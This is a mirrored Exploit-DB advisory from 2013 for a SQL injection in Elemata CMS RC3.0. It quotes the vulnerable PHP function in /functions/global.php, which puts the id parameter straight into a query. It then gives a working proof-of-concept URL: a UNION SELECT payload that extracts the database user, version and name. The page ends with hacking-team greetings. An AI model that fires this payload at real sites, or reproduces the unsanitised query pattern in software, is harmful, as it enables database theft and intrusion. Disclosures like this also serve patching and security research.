Elemata CMS RC3.0 – ‘global.php?id’ SQL Injection - 体验盒子

作者： CWH Underground

日期： 2013-06-24

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/26416/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

# Exploit Title : Elemata CMS RC3.0 SQL Injection

# Date: 23 June 2013

# Exploit Author: CWH Underground

# Site: www.2600.in.th

# Vendor Homepage : http://www.elemata.com/

# Software Link : http://jaist.dl.sourceforge.net/project/elematacms/Elemata%203.x/ElemataRC3.0.zip

# Version : RC 3.0

# Tested on : Window and Linux

,--^----------,--------,-----,-------^--,

| ||||||||| <code>--------' |O .. CWH Underground Hacking Team ..

</code>+---------------------------^----------|

\_,-------, _________________________|

/ XXXXXX /</code>| /

/ XXXXXX /<code>\ /

/ XXXXXX /\______(

/ XXXXXX /

(________(

</code>------'

##############################

VULNERABILITY: SQL Injection

##############################

/functions/global.php (LINE: 24-30)

-----------------------------------------------------------------------------

function e_meta($id)

{

include ("Connections/default.php");

mysql_select_db($database_default, $default);

$query_meta = "SELECT * FROM posts WHERE id = '$id'";

$meta = mysql_query($query_meta, $default) or die(mysql_error());

$row_meta = mysql_fetch_assoc($meta);

-----------------------------------------------------------------------------

#####################################################

DESCRIPTION FOR SQL INJECTION

#####################################################

An attacker might execute arbitrary SQL commands on the database server with this vulnerability.

User tainted data is used when creating the database query that will be executed on the database management system (DBMS).

An attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating system

depending on the query, DBMS and configuration.

POC:

http://http://localhost/elemata/?id=-1%27%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,concat%28user%28%29,0x3a3a,version%28%29,0x3a3a,database%28%29%29,NULL,NULL,NULL,NULL--+

Then View Source !!

################################################################################################################

Greetz: ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2

################################################################################################################